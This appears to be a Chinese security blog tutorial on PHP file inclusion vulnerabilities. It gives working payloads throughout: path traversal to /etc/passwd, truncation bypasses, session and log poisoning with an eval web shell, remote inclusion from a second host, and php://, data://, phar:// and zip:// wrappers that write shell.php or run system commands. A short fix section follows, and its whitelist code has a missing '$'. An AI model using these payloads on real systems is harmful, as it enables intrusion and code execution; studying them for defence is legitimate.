我的另一篇博客總結的不夠全面,但依然有借鑒價值:https://www.cnblogs.com/Zeker62/p/15192610.html
文件包含的定義
- 如果文件包含函數沒有經過嚴格的過濾或者定義
並且參數可以被用戶控制
這樣就有可能包含非預期的文件。 - 如果文件中存在惡意代碼,無論文件是什么類型
惡意代碼都會被解析。 - 文件包含漏洞可能會造成服務器的網頁被篡改,網站被掛馬,服務器被遠程控制,被安裝后門等危害
文件包含漏洞常見函數
PHP文件包含函數有以下四種:
- include
- inclued_once
- require
- require_once
require()/require_once()
:如果在包含過程中有錯,那么直接退出,不執行進一步操作。
include()/include_once()
: 如果在包含過程中出錯,只會發出警告
加上后綴_once的作用:如果文件已經包含過了,那么不會再次包含
當利用這四大漏洞函數包含文件的時候,不論什么類型的文件,都會作為PHP腳本解析
文件包含漏洞示例代碼分析
文件包含漏洞示例代碼如下:
<?php
$file=$_GET['file'];
include $file;
?>
上面的代碼沒有對$_GET['file']
參數進行嚴格的過濾,直接代入到了include中去,攻擊者可以傳遞file參數的值來達到攻擊的目的,比如?file=../../etc/passwd
來實現竊讀密碼文件的目的。
無限制本地文件包含漏洞
定義以及代碼實現
無限制本地文件包含漏洞是沒有為包含文件指定特定的前綴或者拓展名,因此攻擊者可以利用文件包含漏洞讀取操作系統中的其他文件,或者執行其他文件中的代碼
常見的敏感信息路徑
Windows下常見敏感文件
目錄 | 內容 |
---|---|
\boot.ini | 系統版本信息 |
\xxx\php.ini | PHP配置信息 |
\xxx\my.ini | MYSQL配置信息 |
\xxx\httpd.conf | Apache配置信息 |
Linux下常見敏感文件
目錄 | 內容 |
---|---|
/etc/passwd | Linux系統賬號信息 |
/etc/httpd/conf/httpd.conf | Apache配置信息 |
/etc/my.conf | MySQL配置信息 |
/usr/etc/php.ini | PHP配置信息 |
漏洞利用
無限制本地文件包含漏洞示例代碼
<?php
$file=$_GET['file'];
include ($file);
?>
讀取文件內容
通過目錄遍歷可以獲取系統中/etc/passwd文件的內容,使用示例如下:
http://www.abc.com/flie.php?file=../../../../etc/passwd
利用無限制本地文件包含漏洞執行代碼
可以通過文件包含功能執行任意拓展名的文件中的代碼
比如:
在同一目錄下,有如下名為phpinfo.txt文件:
<?phpinfo();?>
當頁面訪問index.php的時候,如果輸入URL:
http://...../index.php?file=phpinfo.txt
就會輕而易舉執行txt中的phpinfo()函數,並回顯內容。
總結:這種情況的實現條件是:
- PHP代碼中有相關的文件包含函數:比如 include ($file)
- 攻擊者能夠對包含的變量進行傳遞參數:比如 \$file=$_GET['file'];
有限制本地文件包含漏洞
有限制本地文件包含漏洞是指代碼中為包含文件指定了特定的前綴或者拓展名,攻擊者必須要對前綴或者拓展名過濾,才能達到利用文件包含漏洞讀取操作。
常見的過濾繞過方式有三種:
- %00 截斷文件包含
- 路徑長度截斷包含
- 點好截斷文件包含
%00截斷文件包含
利用條件
這個漏洞的使用必須滿足如下條件
- magic_quotes_gpc=off
- PHP版本低於5.3.4
示例代碼
<?php
$file=$_GET['file'];
include ($file.".html");
?>
測試結果
輸入以下測試代碼:
http://www.abc.com/xxx/file.php?file=../../../../../../boot.ini%00
通過%00截斷了后面的html拓展名過濾,成功讀取了boot.ini的內容
路徑長度截斷文件包含
操作系統存在着最大路徑長度的限制。可以輸入超過最大路勁長度的目錄,這樣系統就會將后面的路勁丟棄,導致拓展名截斷。
漏洞利用條件
- Windows下最大路徑長度為256B
- Linux下最大路徑長度為4096B
示例代碼
<?php
$file=$_GET['file'];
include ($file.".html");
?>
測試結果
輸入測試以下代碼:
http://www.abc.com/xxx/file.php?file=test.txt/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
執行后發現已經成功截斷了后面的拓展名
點號截斷文件包含
漏洞利用條件
點號截斷包含只使用與Windows系統,點號的長度大於256B的時候,就可以造成拓展名截斷
示例代碼
<?php
$file=$_GET['file'];
include ($file.".html");
?>
測試結果
http://www.abc.com/xxx/file.php?file=test.txt.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
發現已經成功截斷了html拓展名
Session文件包含漏洞
當可以獲取session文件路徑並且session文件的內容可控的的時候,就可以通過包含session文件進行攻擊
利用條件
session文件包含的利用條件有兩個:
- Session的存儲位置可以獲取
- Session的內容可控
一般通過以下兩種方式獲取session的存儲位置:
- 通過phpinfo的信息獲取session的存儲位置。
通過phpinfo的信息獲取session.save_path
- 通過猜測默認的session存儲位置進行嘗試
通常Linux中的Session的默認存儲位置在/var/lib/php/session
目錄下
示例分析
session文件包含代碼如下
session_start();
$ctfs=$_GET['ctfs'];
$_SESSION['username']=$ctfs
此代碼可以通過GET型的ctfs參數傳入。PHP代碼將會獲取的值存入到Session中。
攻擊者可以利用ctfs參數將惡意代碼寫入到session文件中,然后在利用文件包含漏洞包含此session文件,向系統中傳遞惡意代碼。
漏洞分析
上面的代碼滿足Session文件包含的兩個要求
- PHP代碼將會獲取ctfs變量的值存入到session中
- Session的默認 存儲位置是/var/lib/php/session
訪問URL:http://www.abc.com/xxx/session.php?ctfs=a
會在/var/lib/php/session目錄下降ctfs傳入的值存儲到session中
Session的文件名以sess_開頭,后跟Sessionid,Sessionid可以通過開發者模式獲取:
單擊右鍵——檢查——存儲——Cookie——PHPSESSID 就可以找到內容
假設通過開發者模式獲取到的sessionid的值為hufh7hsdf392eurh4,所以session的文件名為sess_hufh7hsdf392eurh4
在/var/lib/php/session目錄下查看此文件,內容為:username|s:4:"a"
漏洞利用
通過上面的分析,可以得知,向ctfs參數傳入的內容會存儲到session文件中。
如果存在本地文件包含漏洞,就可以通過ctfs寫入惡意代碼到Session文件當中去,然后通過文件包含漏洞執行getshell
例如:訪問代碼http://www.abc.com/xxx/session.php?ctfs=<?php phpinfo();?>
后,會在/var/lib/php/session目錄下降ctfs的值寫入session文件
session文件的內容為:username|s:18:"<?php phpinfo();?>"
.
攻擊步驟
- 將惡意代碼寫入session文件
- 攻擊者可以通過PHPinfo或者猜測到session存放的位置
- 通過開發者模式可以獲得文件名稱
- 通過本地文件包含漏洞可以解析session文件達到攻擊的目的
比如:http://www.abc.com/xxx/file.php?file=../../var/lib/php/session/sess_7sdfysdfywy9323cew2
日志文件包含
服務器的中間件,ssh服務都有日志記錄的功能。如果開啟了日志記錄功能,用戶訪問的日志就會存儲到不同服務的相關文件。
如果日志文件的位置是默認位置或者是可以通過其他方法獲取,就可以通過訪問日志將惡意代碼寫入到日志文件中去,然后通過文件包含漏洞包含日志中的惡意代碼,獲得權限。
典型的日志文件包含:
- 中間件日志文件包含
- ssh日志文件包含
中間件日志文件包含
利用條件:
- web中間件日志文件的存儲位置已知,並且具有可讀權限
下面開始介紹日志文件包含漏洞利用步驟
將惡意代碼寫入到日志文件
中間件開啟了訪問日志記錄功能,會訪問日志寫入到日志文件中。
假設訪問URL:http://192.168.1.2/xxx/index.php
發現會在日志文件中有如下內容:
[root@aaa]#less /var/log/httpd/access_log
192.168.1.200 - - [09/Aug/2021:19:31:20 +0800] "GET /xxx/index.php HTTP/1.1" 200 86....
中間件日志訪問會記錄訪問者的IP地址、訪問時間、訪問路徑、返回狀態碼等等。
利用中間件訪問記錄路徑到日志文件中的功能,將惡意代碼寫入到日志文件當中去:
添加惡意代碼:http://www.abc.com/xxx/<?php @eval($_POST[123]);?>
此時會提示404,但是不急
查看日志文件,發現已經將內容寫入
[root@aaa]#less /var/log/httpd/access_log
192.168.1.200 - - [09/Aug/2021:19:35:23 +0800] "GET /xxx/%3C?php @eval($_POST[123]);?%3E HTTP/1.1" 404 826....
雖然已經寫入到日志文件中去了,但是瀏覽器進行了URL編碼,導致傳入的代碼不能正常使用
可以通過burpsuite抓包的方式寫入惡意代碼,這樣不會被瀏覽器進行URL編碼
查看日志文件,內容如下
[root@aaa]#less /var/log/httpd/access_log
192.168.1.200 - - [09/Aug/2021:19:37:33 +0800] "GET /xxx/<?php @eval($_POST[123]);?> HTTP/1.1" 404 302....
惡意代碼成功寫入
文件包含日志文件
要執行文件包含,必須要知道日志文件的位置。
常見的中間件日志文件都有默認的存儲路徑,比如Apache的中間件日志文件存在/var/log/httpd/目錄下,文件名叫access_log
輸入測試語句http://www.abc.com/xxx/file.php?file=../../../var/log/httpd/access_log
之后在向網頁傳入POST參數:123=phpinfo
即可顯示出phpinfo的內容
SSH日志文件包含
SSH日志文件包含的利用條件是:
- SSH日志路徑已知,並且具有可讀權限
SSH日志文件的默認路徑為/var/log/auth.log
下面介紹漏洞利用步驟
將惡意代碼寫入文件
SSH如果開啟了日志記錄的功能,那么會將ssh的連接日志記錄到ssh日志文件當中
將連接的用戶名設置成惡意代碼,用命令連接服務器192.168.1.1的ssh服務
ssh "<?php @eval($_POST[123]);?>"@192.168.1.1
查看日志文件/var/log/auth.log,可以觀察到惡意代碼已經寫入到日志文件
使用文件包含日志文件
測試輸入語句:http://192.168.1.1/xxx/file.php?file=../../../var/log/auth.log
之后再向網頁傳入POST參數:123=phpinfo
就可以出現phpinfo的內容了
遠程文件包含
無限制遠程文件包含
無限制遠程文件包含是指包含文件的位置並不在本地服務器,而是通過URL的形式包含到其他服務器上的文件,以及執行文件中的惡意代碼
漏洞利用的條件是:
allow_url_fopen=on
allow_url_include=on
無限遠程執行文件的代碼如下:
<?php
$file=$_GET['file'];
include $file;
?>
設定一個文件:php.txt 的內容為<?php phpinfo();?>
在正常情況下訪問遠程服務器URL,http://192.168.2.1/php.txt
包含在php.txt中的phpinfo函數不會當做PHP代碼執行,但是通過遠程文件包含漏洞,包含在php.txt的phpinfo函數會被當做PHP代碼執行
http://www.abc.com/file.php?file=http://192.168.2.1/php.txt
有限制的遠程文件包含
有限制的遠程文件包含是代碼中存在特定的前綴和后綴.php /.html 等拓展名過濾的時候,攻擊者需要繞過前綴或者拓展名過濾,才能遠程執行URL代碼
示例代碼如下
include($_GET['filename'].".html");
通常有限制的遠程文件包含可以通過問號、井號、空格繞過
通過問號繞過
可以在問號后面添加html字符串,問號后面的拓展名會被當做查詢,從而繞過過濾
http://www.abc.com/file.php?filename=http://192.168.2.1/php.txt?
通過井號繞過
可以在#后面添加HTML字符串,#會截斷后面的拓展名,從而繞過拓展名過濾.#的URL編碼為%23
http://www.abc.com/file.php?filename=http://192.168.2.1/php.txt%23
通過空格繞過
http://www.abc.com/file.php?filename=http://192.168.2.1/php.txt%20
PHP 偽協議
PHP帶有很多內置的URL風格的封裝協議,可用於 fopen\copy\file_exists\filesize等文件系統函數
常見的PHP偽協議如下:
- file:// 訪問本地文件系統
- http:// 訪問http(s)網址
- ftp:// 訪問ftp(s)URL
- php:// 訪問各個輸入輸出流
- zlib:// 處理壓縮流
- data:// 讀取數據
- glob:// 找查匹配的文件路徑模式
- phar:// PHP歸檔
- ssh2:// Secure Shell 2
- rar:// RAR處理壓縮數據
- ogg:// 處理音頻流
- expect:// 處理交互式的流
php://偽協議
php://filter
php://filter 是元封裝器,設計用於數據流打開時篩選過濾應用,對本地磁盤文件進行讀寫
以下兩種用法相同
?filename=php://filter/read=convert.base64-encode/resource=xxx.php
?filename=php://filter/convert.base64-encode/resource=xxx.php
使用php://filter allow_url_fopen和allow_url_include不需要開啟
前綴名稱 | 后加內容 | 描述 |
---|---|---|
resource= | 要過濾的數據流 | 指定要過濾的數據流 |
read= | 讀鏈的篩選器列表 | 參數可選,可設定一個或者多個篩選器名稱,以管道符(|)分隔 |
write= | 寫鏈的篩選器列表 | 參數可選,可設定一個或者多個篩選器名稱,以管道符(|)分隔 |
空 | 兩個鏈的篩選器列表 | 沒有用read=或者write=做前綴的篩選器列表會是輕快應用於讀或者寫 |
這樣文件會以base64的編碼打開,使用python解碼即可
import base64
print(base64.b64decode("........."))
php://input
php://input可以訪問請求的原始數據的只讀流,即可以直接讀取POST上沒有經過解析的原始數據,但是使用enctype="multipart/form-data"的時候php://input是無效的。
php://input有以下三種用法
讀取POST數據
php://input可以讀取POST上沒有經過解析的原始數據
利用php://input 讀取POST數據的時候,allow_url_fopen和allow_url_include不需要開啟
示例代碼如下
echo file_get_contents("php://input");
上面代碼輸出file_get_contents函數獲取的php://input數據。
測試時傳入POST數據字符串test
最后會在頁面回顯出test
寫入木馬
利用php://input寫入木馬的時候,PHP配置文件只需要開啟allow_url_include
如果POST傳入的是PHP代碼,就可以寫入木馬
示例代碼如下:
<?php
$file=$_GET['file'];
include($file);
?>
如果POST傳入的是一個執行寫入木馬的PHP代碼,就會在當前目錄下寫入一個木馬,通過POST方法傳入的是以下代碼
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>
利用php://input傳入木馬的PHP代碼
http"//www.abc.com/xxx/file.php?file=php://input
測試的結果就是通過php://input傳入了這個代碼,並在當前目錄下建立了shell.php文件
執行命令
示例代碼如下:
<?php
$file=$_GET['file'];
include($file);
?>
利用php://input執行命令的時候,PHP配置文件只需要開啟allow_url_include
如果POST傳入的是PHP代碼,就可以執行任意代碼,如果此時PHP代碼調用了系統函數,就可以執行該命令
比如傳入POST參數
<?php system('ls');?>
file: //偽協議
file:// 可以訪問本地文件系統,讀取本地文件的內容
使用file:// 不需要開啟allow_url_fopen和allow_url_include
示例代碼如下:
<?php
$file=$_GET['file'];
include($file);
?>
可以輸入以下URL
http://www.abc.com/xxx/file.php?file=file://c:/boot.ini
這個命令就可以起到訪問本地文件的目的
data:// 偽協議
從PHP5.2.0起,數據封裝流就開始有效,用於數據流的讀取。
如果傳入的都是PHP代碼,就會執行任意代碼
使用方法如下
data://text/plain;base64,xxxxx(base64編碼后的數據)
利用data:// 時,PHP配置文件需要開啟allow_url_fopen和allow_url_include
代碼示例如下:
<?php
$file=$_GET['file'];
include($file);
?>
通過data:// 偽協議傳送phpinfo代碼,<?php phpinfo();?>
的base64編碼為PD9waHAgcGhwaW5mbygpOz8+,需要對加號進行URL編碼:%2b
最終輸入的data數據是:
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
傳入到URL就是
http://www.abc.com/xxx/file.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
phar://偽協議
phar:// 是用來解壓的偽協議
phar://不管參數中是什么拓展名,都會被當做壓縮包
用法:?file=phar://壓縮包/壓縮文件
比如:phar://xxx.png/shell.php
利用phar:// 時,PHP配置文件需要開啟allow_url_fopen和allow_url_include,並且PHP版本要高於5.3.0
注意:壓縮包需要用zip://偽協議壓縮而不能用rar://,將木馬文件壓縮后,改成任意后綴名都可以正常使用
代碼示例如下:
<?php
$file=$_GET['file'];
include($file);
?>
寫一個木馬文件shell.php,然后用zip://偽協議壓縮成shell.zip,最后修改后綴名為.png,上傳圖片
輸入測試:http://www.abc.com/xxx/file.php?file=phar://shell.png/shell.php
這樣phar://就會將png當做zip壓縮包進行解壓,並且訪問解壓后的shell.php文件
zip:// 偽協議
和phar://偽協議原理類似,但用法不同
用法:?file=zip://[壓縮文件絕對路徑]#[壓縮文件內的子文件名]
利用zip:// 時,PHP配置文件需要開啟allow_url_fopen和allow_url_include,並且PHP版本要高於5.3.0
注意:需要將#轉換成URL編碼:%23
代碼示例如下:
<?php
$file=$_GET['file'];
include($file);
?>
輸入測試:http://www.abc.com/xxx/file?file=zip://D:/phpstudy/www/.../test.png%23shell.php (zip必須是絕對路徑)
這樣zip://就會將png當做zip壓縮包進行解壓,並且訪問解壓后的shell.php文件
expect://偽協議
expect://偽協議用來執行系統命令,但是需要安裝拓展
用法: ?file=expect://ls
文件包含漏洞修復
代碼配置
可以在代碼層對文件包含進行過濾,設置包含的參數的白名單,假設網站只包含文件為index.php和admin.php
就可以定義好代碼如下:
<?php
$filename=$_GET['filename'];
switch ($filename) {
case 'index':
case 'admin':
include('/var/www/html/'.filename.'.php');
break;
default:
break;
}
?>
服務器配置
- 修改PHP配置文件,將open_basedir的值設置為可以包含的特定目錄,后面要加/,例如open_basedir=/var/www/html/
- 修改PHP配置文件,關閉allow_url_include